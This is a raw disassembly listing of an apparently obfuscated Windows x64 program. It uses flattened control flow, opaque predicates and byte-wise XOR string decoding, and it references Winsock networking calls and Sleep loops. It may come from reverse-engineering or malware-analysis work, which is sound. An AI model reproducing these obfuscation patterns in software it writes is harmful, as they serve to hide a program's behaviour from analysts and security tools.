mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 4], r11b
movsx r11, byte [rax + 5]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 5
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c8cf
cmp r14d, 0xa3b0714
jne 0x14001c8a0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c8a0
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 5], r11b
movsx r11, byte [rax + 6]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 6
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c92f
cmp r14d, 0xa3b0714
jne 0x14001c900
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001c900
mov byte [rbp + 0x1d0], sil
movzx r11d, byte [rbp + 0x1d0]
mov byte [r12 + 6], r11b
add r12, 7
mov qword [rbp + 0x170], r12
lea r11, [rax + 7]
mov qword [rbp + 0x178], r11
mov r12d, 0x42206ffc
jmp 0x14001c9d0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xc], r11b
mov byte [r12 + 0xd], 0
mov r11, qword [rbp + 0x168]
mov byte [r11 + 0x19], 1
mov r11d, dword [0x1402b5d30]
lea esi, [r11 - 1]
imul esi, r11d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r11b
mov r12d, 0xe387e907
cmove r12d, ecx
cmp dword [0x1402b5d34], 0xa
cmovge r12d, r9d
setl sil
xor sil, r11b
cmovne r12d, ecx
nop word cs:[rax + rax]
cmp r12d, 0x23c4f721
jle 0x14001ca70
cmp r12d, 0x23c4f722
je 0x14001caee
cmp r12d, 0x25091560
je 0x14001d6cb
cmp r12d, 0x42206ffc
jne 0x14001c9d0
mov r11, qword [rbp + 0x178]
movsx r11, byte [r11]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 7
mov r14d, 0xa3b0714
nop word cs:[rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001d043
cmp r14d, 0xa3b0714
jne 0x14001ca30
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001ca30
cmp r12d, 0xde88099a
je 0x14001d70b
cmp r12d, 0xe387e907
jne 0x14001c9d0
mov r11, qword [rbp + 0x1d0]
movsx r11, byte [r11 + 0xb]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], select
mov r14d, 0xa3b0714
nop
cmp r14d, 0xd1ef75a6
je 0x14001d1b0
cmp r14d, 0xa3b0714
jne 0x14001cab0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cab0
mov r11, qword [rbp + 0x1d0]
movsx r11, byte [r11 + 0xb]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], select
mov r14d, 0xa3b0714
nop word cs:[rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001cb5a
cmp r14d, 0xa3b0714
jne 0x14001cb20
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cb20
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov rsi, qword [rbp + 0x180]
mov byte [rsi], r11b
mov r12, qword [rbp + 0x180]
movsx r11, byte [rax + 0xc]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], select
mov r14d, 0xa3b0714
nop word [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001cbda
cmp r14d, 0xa3b0714
jne 0x14001cba0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cba0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 1], r11b
movsx r11, byte [rax + 0xd]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_listen
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001cc3f
cmp r14d, 0xa3b0714
jne 0x14001cc10
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cc10
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 2], r11b
movsx r11, byte [rax + 0xe]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohl
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001ccaa
cmp r14d, 0xa3b0714
jne 0x14001cc70
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cc70
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 3], r11b
movsx r11, byte [rax + 0xf]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001cd1a
cmp r14d, 0xa3b0714
jne 0x14001cce0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cce0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 4], r11b
movsx r11, byte [rax + 0x10]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recv
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001cd8a
cmp r14d, 0xa3b0714
jne 0x14001cd50
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cd50
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 5], r11b
movsx r11, byte [rax + 0x11]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recvfrom
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001cdef
cmp r14d, 0xa3b0714
jne 0x14001cdc0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cdc0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 6], r11b
movsx r11, byte [rax + 0x12]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_select
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001ce5a
cmp r14d, 0xa3b0714
jne 0x14001ce20
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001ce20
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 7], r11b
movsx r11, byte [rax + 0x13]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_send
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001cebf
cmp r14d, 0xa3b0714
jne 0x14001ce90
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001ce90
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 8], r11b
movsx r11, byte [rax + 0x14]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_sendto
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001cf1f
cmp r14d, 0xa3b0714
jne 0x14001cef0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cef0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 9], r11b
movsx r11, byte [rax + 0x15]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_setsockopt
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001cf7f
cmp r14d, 0xa3b0714
jne 0x14001cf50
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cf50
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xa], r11b
movsx r11, byte [rax + 0x16]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WLDAP32.dll_Ordinal_22
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001cfdf
cmp r14d, 0xa3b0714
jne 0x14001cfb0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001cfb0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xb], r11b
movsx r11, byte [rax + 0x17]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_socket
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001c961
cmp r14d, 0xa3b0714
jne 0x14001d010
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d010
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov rsi, qword [rbp + 0x170]
mov byte [rsi], r11b
mov r12, qword [rbp + 0x170]
movsx r11, byte [rax + 8]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 8
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001d0af
cmp r14d, 0xa3b0714
jne 0x14001d080
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d080
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 1], r11b
movsx r11, byte [rax + 9]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 9
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001d11a
cmp r14d, 0xa3b0714
jne 0x14001d0e0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d0e0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 2], r11b
movsx r11, byte [rax + 0xa]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], 0xa
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001d17f
cmp r14d, 0xa3b0714
jne 0x14001d150
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d150
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 3], r11b
add r12, 4
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x1d0], rax
mov r12d, 0x25091560
jmp 0x14001c9d0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov rsi, qword [rbp + 0x180]
mov byte [rsi], r11b
mov r12, qword [rbp + 0x180]
movsx r11, byte [rax + 0xc]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], select
mov r14d, 0xa3b0714
nop dword [rax]
cmp r14d, 0xd1ef75a6
je 0x14001d22a
cmp r14d, 0xa3b0714
jne 0x14001d1f0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d1f0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 1], r11b
movsx r11, byte [rax + 0xd]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_listen
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001d29a
cmp r14d, 0xa3b0714
jne 0x14001d260
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d260
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 2], r11b
movsx r11, byte [rax + 0xe]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohl
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001d2ff
cmp r14d, 0xa3b0714
jne 0x14001d2d0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d2d0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 3], r11b
movsx r11, byte [rax + 0xf]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001d35f
cmp r14d, 0xa3b0714
jne 0x14001d330
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d330
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 4], r11b
movsx r11, byte [rax + 0x10]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recv
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001d3ca
cmp r14d, 0xa3b0714
jne 0x14001d390
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d390
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 5], r11b
movsx r11, byte [rax + 0x11]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recvfrom
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001d43a
cmp r14d, 0xa3b0714
jne 0x14001d400
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d400
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 6], r11b
movsx r11, byte [rax + 0x12]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_select
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001d49f
cmp r14d, 0xa3b0714
jne 0x14001d470
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d470
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 7], r11b
movsx r11, byte [rax + 0x13]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_send
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001d4ff
cmp r14d, 0xa3b0714
jne 0x14001d4d0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d4d0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 8], r11b
movsx r11, byte [rax + 0x14]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_sendto
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001d56a
cmp r14d, 0xa3b0714
jne 0x14001d530
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d530
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 9], r11b
movsx r11, byte [rax + 0x15]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_setsockopt
mov r14d, 0xa3b0714
nop dword [rax + rax]
cmp r14d, 0xd1ef75a6
je 0x14001d5cf
cmp r14d, 0xa3b0714
jne 0x14001d5a0
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d5a0
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xa], r11b
movsx r11, byte [rax + 0x16]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WLDAP32.dll_Ordinal_22
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001d62f
cmp r14d, 0xa3b0714
jne 0x14001d600
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov rsi, qword [rbp + 0x200]
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d600
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xb], r11b
movsx r11, byte [rax + 0x17]
mov qword [rbp + 0x200], r11
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_socket
mov r14d, 0xa3b0714
cmp r14d, 0xd1ef75a6
je 0x14001d69a
cmp r14d, 0xa3b0714
jne 0x14001d660
mov r11, qword [rbp + 0x1e8]
add r11d, 0xb
mov r14, qword [rbp + 0x200]
mov esi, r11d
xor esi, r11d
not esi
and esi, r14d
xor esi, r11d
mov r14d, 0xd1ef75a6
jmp 0x14001d660
mov byte [rbp + 0x208], sil
movzx r11d, byte [rbp + 0x208]
mov byte [r12 + 0xc], r11b
mov byte [r12 + 0xd], 0
mov r11, qword [rbp + 0x168]
mov byte [r11 + 0x19], 1
mov r12d, 0x23c4f722
jmp 0x14001c9d0
mov r11d, dword [0x1402b5d30]
lea esi, [r11 + 1]
imul esi, r11d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete r11b
mov r12d, 0xe387e907
cmove r12d, edi
cmp dword [0x1402b5d34], 0xa
cmovge r12d, r9d
setl sil
xor sil, r11b
cmovne r12d, edi
jmp 0x14001c9d0
mov rax, qword [rbp + 0x168]
mov eax, dword [0x1402b5d28]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete r11b
mov eax, 0x5895d75c
cmove eax, edx
cmp dword [0x1402b5d2c], 0xa
mov esi, 0x5895d75c
cmovge eax, esi
setl sil
xor sil, r11b
cmovne eax, edx
jmp 0x14001b4b0
cmp eax, 0x713de1e4
jne 0x14001b4b0
mov rax, qword [rbp + 0x130]
mov eax, 0xfacf1089
jmp 0x14001b33d
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x110], rax
mov eax, dword [0x1402b5d20]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete sil
mov eax, 0x9eb85e0c
mov r12d, 0xa9203178
cmove eax, r12d
cmp dword [0x1402b5d24], 0xa
mov r11d, 0x9eb85e0c
cmovge eax, r11d
setl r14b
xor r14b, sil
cmovne eax, r12d
jmp 0x14001b33d
mov eax, dword [0x1402b5d20]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete r11b
mov eax, 0x12ee4f96
mov r14d, 0x4fc395ed
cmove eax, r14d
cmp dword [0x1402b5d24], 0xa
mov esi, 0x12ee4f96
cmovge eax, esi
setl sil
xor sil, r11b
cmovne eax, r14d
jmp 0x14001b33d
cmp eax, 0xbdd161c3
jne 0x14001b33d
mov rsp, qword [rbp - 8]
sub rsp, 0x20
lea rdx, [rbp + 0x190]
mov rcx, qword [rbp + 0x128]
call fcn.140028850
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
lea rsi, [rbp + 0x1b0]
jne 0x14001da04
xor cl, al
je 0x14001d879
jmp 0x14001da04
mov eax, 0x8e514f33
mov edi, 0x559d78c6
mov ebx, 0xb5ee369a
mov r14d, 0xa1dae94d
jmp 0x14001d8a0
mov eax, 0xe9738f9d
nop word cs:[rax + rax]
cmp eax, 0xe9738f9d
je 0x14001d9f1
cmp eax, 0x8e514f33
jne 0x14001d8a0
sub rsp, 0x20
mov rcx, rsi
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x200]
cmp ecx, 0xa
setl byte [rbp + 0x1e8]
mov eax, 0xc7dc8da9
nop word cs:[rax + rax]
cmp eax, 0x354e3b8b
jg 0x14001d948
cmp eax, 0xa1dae94d
je 0x14001d987
cmp eax, 0xb5ee369a
je 0x14001d9a8
cmp eax, 0xc7dc8da9
jne 0x14001d900
movzx ecx, byte [rbp + 0x200]
movzx eax, byte [rbp + 0x1e8]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xb5ee369a
cmovne eax, edi
test cl, cl
cmove eax, ebx
test dl, dl
cmovne eax, edi
jmp 0x14001d900
cmp eax, 0x354e3b8c
je 0x14001d890
cmp eax, 0x559d78c6
je 0x14001d9b2
cmp eax, 0x66202512
jne 0x14001d900
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x190]
nop dword [rax]
cmp eax, 0x51eaacfe
je 0x14001d980
cmp eax, 0x89bfb55a
jne 0x14001d970
jmp 0x14001d991
mov eax, 0x89bfb55a
jmp 0x14001d970
mov eax, 0x66202512
jmp 0x14001d900
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x14001d900
mov eax, 0x559d78c6
jmp 0x14001d900
mov qword [rbp + 0x190], rsi
mov eax, dword [0x1402b5af0]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xb5ee369a
cmove eax, r14d
cmp dword [0x1402b5af4], 0xa
cmovge eax, ebx
setl dl
xor dl, cl
cmovne eax, r14d
jmp 0x14001d900
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, 0x8e514f33
mov edi, 0x559d78c6
mov ebx, 0xb5ee369a
mov r14d, 0xa1dae94d
nop dword [rax]
cmp eax, 0xe9738f9d
je 0x14001db7b
cmp eax, 0x8e514f33
jne 0x14001da20
sub rsp, 0x20
mov rcx, rsi
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x200]
cmp ecx, 0xa
setl byte [rbp + 0x1e8]
mov eax, 0xc7dc8da9
nop word cs:[rax + rax]
cmp eax, 0x354e3b8b
jg 0x14001dac8
cmp eax, 0xa1dae94d
je 0x14001db07
cmp eax, 0xb5ee369a
je 0x14001db28
cmp eax, 0xc7dc8da9
jne 0x14001da80
movzx ecx, byte [rbp + 0x200]
movzx eax, byte [rbp + 0x1e8]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, edi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmove eax, edx
jmp 0x14001da80
cmp eax, 0x354e3b8c
je 0x14001db71
cmp eax, 0x559d78c6
je 0x14001db32
cmp eax, 0x66202512
jne 0x14001da80
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x190]
nop dword [rax]
cmp eax, 0x51eaacfe
je 0x14001db00
cmp eax, 0x89bfb55a
jne 0x14001daf0
jmp 0x14001db11
mov eax, 0x89bfb55a
jmp 0x14001daf0
mov eax, 0x66202512
jmp 0x14001da80
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x14001da80
mov eax, 0x559d78c6
jmp 0x14001da80
mov qword [rbp + 0x190], rsi
mov eax, dword [0x1402b5af0]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0xb5ee369a
cmove eax, r14d
cmp dword [0x1402b5af4], 0xa
cmovge eax, ebx
setl dl
xor dl, cl
cmovne eax, r14d
jmp 0x14001da80
mov eax, 0xe9738f9d
jmp 0x14001da20
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x14001dbba
xor cl, al
je 0x14001d879
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400285e0
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
lea rcx, [rbp + 0x1b0]
call section..text
add rsp, 0x20
sub rsp, 0x20
lea rbx, [rbp + 0x1b0]
mov rcx, r14
mov rdx, rbx
call fcn.140002980
add rsp, 0x20
mov edx, 0x6098621e
lea rcx, str._____Con_lai_:
cmp edx, 0xc72ec75d
je 0x14001dc29
cmp edx, 0x6098621e
jne 0x14001dc0b
mov qword [rbp + 0x130], rcx
mov edx, 0xc72ec75d
jmp 0x14001dc0b
mov rcx, qword [rbp + 0x130]
lea rdx, [rbp + 0x1e8]
mov qword [rbp + 0x188], rdx
mov qword [rbp + 0x1e0], rcx
lea rcx, [rbp + 0x160]
mov qword [rbp + 0x168], rcx
mov r11d, 0x8e567f9
mov ecx, 0xbaec221f
mov edx, 0x2df5b3fe
mov r8d, 0xb94b4497
mov r9d, 0x91277cb8
mov r10d, 0x815c4565
jmp 0x14001dcb2
mov r11d, dword [0x1402b5d38]
lea esi, [r11 + 1]
imul esi, r11d
not esi
or esi, 0xfffffffe
cmp esi, 0xffffffff
sete sil
mov r11d, 0xb94b4497
cmove r11d, r9d
cmp dword [0x1402b5d3c], 0xa
cmovge r11d, r8d
setl dil
xor dil, sil
cmovne r11d, r9d
cmp r11d, 0xc299b04d
jg 0x14001dd2f
cmp r11d, 0xb94b4496
jg 0x14001dda1
cmp r11d, 0x815c4565
je 0x14001dde5
cmp r11d, 0x91277cb8
jne 0x14001dcb2
mov rsi, qword [rbp + 0x188]
mov r11, qword [rbp + 0x1e0]
movzx edi, byte [rbp + 0x208]
mov qword [rbp + 0x170], rsi
mov rsi, qword [rbp + 0x170]
movsx rdi, byte [r11]
mov r14d, 0xd63df95
nop dword [rax + rax]
cmp r14d, 0xd63df95
je 0x14001dd27
cmp r14d, 0x9c1cbcd3
jne 0x14001dd10
jmp 0x14001e472
mov r14d, 0x9c1cbcd3
jmp 0x14001dd10
cmp r11d, 0x2c69d575
jg 0x14001ddc6
cmp r11d, 0xc299b04e
je 0x14001dc77
cmp r11d, 0x8e567f9
jne 0x14001dcb2
mov r11d, dword [0x1402b5d38]
mov esi, dword [0x1402b5d3c]
